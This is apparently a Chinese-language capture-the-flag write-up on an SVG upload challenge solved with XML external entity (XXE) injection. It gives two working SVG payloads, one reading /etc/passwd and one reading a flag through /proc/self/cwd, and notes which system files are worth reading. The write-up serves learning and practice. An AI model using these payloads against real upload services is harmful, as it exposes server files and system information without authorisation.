SVG注入 xxe攻击
打开后发发现他是SVG上传,在这之前我没有接触过SVG是什么,先去学习了一下发现他是xml注入的一种方法,也是通过js代码实现文件读取的
这是几个我看的关于svg的文章
https://www.freebuf.com/vuls/175451.html
https://blog.csdn.net/gxyzlxf/article/details/127021934?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522172108327216800215072872%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=172108327216800215072872&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2alltop_positive~default-1-127021934-null-null.142v100pc_search_result_base4&utm_term=SVG&spm=1018.2226.3001.4187
接下来就开始解题,其实和xxe是很像的,也是按照一个模板直接上的
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="200" width="1000"><text x="10" y="20">&file;</text>
</svg>
也就是这个模板
读取的话
/etc/passwd文件 系统用户配置文件,存储了系统中所有用户的基本信息
/proc/self 链接到当前正在运行的进程
/proc/self/cwd当前工作目录
尝试注入了之后发现,passwd是可以读到的,呢么直接构造读flag的
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="200" width="1000"><text x="10" y="20">&file;</text>
</svg>
则可以读到flag
总结
在这个题目里面我了解了什么是SVG注入,知道了模板大致的样子,尝试了SVG的注入联系xxe一起我认为这里理解上应该差不多